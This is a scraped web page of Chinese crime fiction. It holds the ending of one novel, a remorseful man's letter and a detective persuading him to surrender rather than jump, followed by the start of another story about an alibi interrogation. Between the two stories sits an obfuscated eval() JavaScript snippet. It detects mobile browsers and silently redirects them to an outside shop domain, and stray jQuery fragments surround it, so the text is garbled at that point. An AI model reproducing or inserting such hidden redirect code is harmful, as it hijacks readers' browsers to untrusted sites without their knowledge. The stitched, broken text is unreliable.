我们都对不起小芸。
我活了二十多年，没有一天不是在黑暗里。我没有身份证，没有户口，没有社保。我在建筑工地搬过砖，在养殖场喂过猪，在火葬场烧过尸，我烧过很多很多人的尸体，每一次都在想，那场火里的三个人，是不是也是被这样烧掉的。
我在等。等他出狱的那一天。等他原谅我的那一天。
然后他死了。
他没有等我原谅他，因为他从来没有觉得我欠他什么。他在书里写的都是别人的罪：李某锁门毒死三名工人、假证据陷害无辜、他自己签错了文件害死一个小女孩，他把所有人的罪都写进了书里，唯独没有写我的。在他的书里，‘季惟仁’只是一个名字，一个在火灾之后失踪了的名字。没有罪行，没有动机，没有审判。
他替我抹掉了一切。包括他自己。
我现在在401室。这间房间烧过，拆过，二十多年没人来过。地上有碎玻璃、烧焦的木屑、老鼠的粪便。西面的墙塌了一半，能直接看到外面。天快黑了，又开始下雪。我跪在地上，点了一把火，把所有能证明我存在过的东西都烧了，那条链条锁，那件工作服，身份证，照片，全烧了。世界上再也没有季惟仁这个人了。
他留下的那本书，名字叫《罚罪》。惩罚的罚。罪行的罪。
他没有罚我。
那就我来吧。”
信在这里结束了。下面没有落款，没有日期。纸的右下角有一个被水渍洇湿的痕迹，把最后几个字的墨迹晕开了。是眼泪，还是雪水，无法分辨。
林鹤声抬起头，看着窗边的季惟仁。
“你要我做什么？”
季惟仁转过身，背靠着窗框，整个人被逆光勾出一道模糊的轮廓。他的脸在阴影里，看不清表情，但声音已经平静下来了，不是刻意的平静，而是像一面被风吹了很久的湖，终于，风停了。
“替我做一个决定，”他说，“我该活着去坐牢，还是该从这里跳下去？我想了很久，决定不了。你是警察，你替犯罪的人做决定，你替我决定。如果你觉得我应该活着赎罪，我跟你走。如果你觉得我应该去死，”
他看了一眼窗外。四楼，下面是堆积如山的建筑瓦砾和冻硬的积雪。
“那里也够高了。”
林鹤声把信叠好，放回信封，然后把这封信和那本《罚罪》一起，平放在公文包上。
“你做错了两件事，”他说，“第一，你以为你弟弟没有写你的罪。他写了。”
季惟仁的身体微微晃了一下。
“《罚罪》的副本稿里，‘亡者归来’那一章，你弟弟在那一章里写的是你。他写了你的动机，你的手法，你未婚妻的死，你在雪夜的平台上站了多久。他全写了，写得比别人都详细。他没有替你抹掉任何东西。他只是没有在正文里审判你。他把审判留给了读者。”
季惟仁的嘴唇张了张，没有发出声音。
“第二。”林鹤声继续说，声音平稳，一字一句，每一个字都像是被仔细掂量过，“你以为你弟弟是替你坐牢。他不是。他是替你赎罪。他在火灾次日凌晨回到这栋楼，从废墟里捡出那扇门上的把手，拍了照片，贴在笔记本上，在下面写了一行字，‘里面的人试图撬门’。然后他用接下来二十多年的时间，用他自己的命，把所有被掩盖的真相一个一个地挖了出来。他不是替你受罚，他是替所有被那场火埋掉的人，做完了一件事。”
“什么事？”
“让真相见光。”
季惟仁不说话了。他站在窗前，晨光照在他的脸上，每一道皱纹都被照得清清楚楚。风吹过破碎的窗洞，吹起地上的灰烬，在房间里旋了一圈，又落下去。
“告诉我一件事。”林鹤声说，“当年在公安局里伪造法医报告和证人笔录的人，是谁？”
季惟仁沉默了很久。他闭上眼睛，嘴唇微微发抖。然后他说出了一个名字。
林鹤声听完，没有表现出任何意外。他只是点了点头，像是终于把最后一块拼图放到了正确的位置。
“好。”
他弯腰捡起地上的公文包，把那封遗书夹进《罚罪》里，一起装好。
“走吧。”
季惟仁抬起头，不确定地看着他。“走？”
“你还有时间。监狱里有图书室，里面的书也很旧了，需要人整理。你弟弟在那里当了十几年的管理员，把编目卡片做得整整齐齐。他死了之后，那个位置一直空着。”林鹤声转过头看他，“你不是季惟明，但你也是会整理书的人，你们的手是一样的。”
季惟仁站在废墟中央，脚下的灰烬被风吹起，在他脚边盘旋。他站了很久，久到林鹤声以为他会拒绝。然后他慢慢地、一步一步地，从那扇烧焦的门框里走了出来。
“走吧。”
他的脚步声很轻，但很稳。右脚比左脚重，在碎玻璃和碎砖上拖出一声长长的尾音。那个声音和林鹤声在《罚罪》里读到的一模一样，那个在阅览室门外响起的脚步声。
楼道里很暗，但尽头有光。
院门口，警车已经到了。老郑靠在车头抽烟，看到林鹤声带着一个人从危楼里走出来，烟头掉在地上，呲的一声在雪地里灭了。他张了张嘴，想说点什么，最终只是拍了拍林鹤声的肩。
林鹤声回头看向那栋废墟的四楼。阳光正好穿过西侧坍塌的墙体缺口，把整个401室照得亮亮堂堂。风灌进去，卷起一地灰烬，从空洞的窗户里扬出来，纷纷扬扬地飘进冬日的晴空，像是有人站在云端，松开了一把黑色的雪。
林楠在警校的时候，老师讲过一句话：最好的不在场证明，不是时间对不上，而是所有人都替你作证。
此刻，他盯着审讯室里那个叫陈泊远的男人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733389|209007||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，忽然想起了这句话。
案件发生在三天前，六月十四日，本市滨江公寓发生一起命案。死者叫赵明远，三十五岁，本市一家投资公司的合伙人，被人用尼龙扎带反绑在椅子上，头部遭到钝器重击，法医推断死亡时间在当天中午十一点到下午一点之间。凶手作案后纵火，但起火不久公寓的自动喷淋系统启动，火势被控制在书房范围内，尸体和大部分现场痕迹都保留了下来。
现场没有破门痕迹，凶手是和平进入的。警方很快锁定了两名嫌疑人。
第一个是死者交往两年的女友宋薇，二十六岁，舞蹈老师。她和死者最近三个月关系紧张，死者多次对她动手，邻居曾两次报警。她有充足的动机，但她声称六月十四日整个中午都在参加闺蜜的婚礼答谢宴，从十一点半到下午两点一直在酒店，几十名宾客都能作证，酒店监控也拍到了她全程在场。
第二个就是此刻坐在林楠对面的男人，陈泊远，死者的大学同学兼创业伙伴，同时也是宋薇的前男友。案件最要命的地方就在这里，陈泊远在三年前和宋薇分手，半年后宋薇和赵明远在一起了。据周围朋友说，陈泊远对此事一直心存芥蒂，虽然表面上维持着体面的合作关系，但私下曾不止一次说过“赵明远这个人不地道”。案发前一个月，两人在公司发展方向上发生激烈争执，陈泊远一度提出要拆伙撤资。
陈泊远没有宋薇那样完美的不在场证明。案发当天是周六，他声称自己上午十点多开车去城郊的水库钓鱼，中午在车上吃了点东西，下午三点多才返程。但他走的那条路有一段正在施工，监控恰好坏了，沿途没有任何摄像头能拍到他的车。更麻烦的是，他的手机信号在十一点四十分左右，出现在了距离案发现场不到一公里的基站范围内。
“我说了，那条路堵了，我绕路了。”陈泊远语气平静，和三个小时前一模一样，“我根本没去过滨江公寓。”
林楠没有继续追问，而是翻开了手边的文件夹，从里面抽出几张照片，一张一张地摆在桌上。照片上是书房焚毁的沙发残骸，在沙发坐垫弹簧夹缝中发现了一枚烧焦的碎片，经过刑侦科比对复原，是一部手机的SIM卡槽残件。陈泊远的目光在那张照片上停了不到一秒，随即移开。
“水库边上有什么特别的吗？”林楠换了个话题。
陈泊远想了想：“没什么特别的，就钓了几条鲫鱼。”
“不错。”林楠把“不错”两个字说得意味深长。他站起身，离开了审讯室。
走廊里，搭档周雨递给他一杯咖啡：“怎么样？”
“他在等我们找到那部手机。”林楠接过咖啡，没喝，“现场发现的SIM卡槽残件和熔毁的电路板碎片，经过技术恢复，确认是赵明远的手机，这一点昨天就已经确定了，但他不知道我们已经确定了。”
周雨愣了一下：“你是说他在演戏？”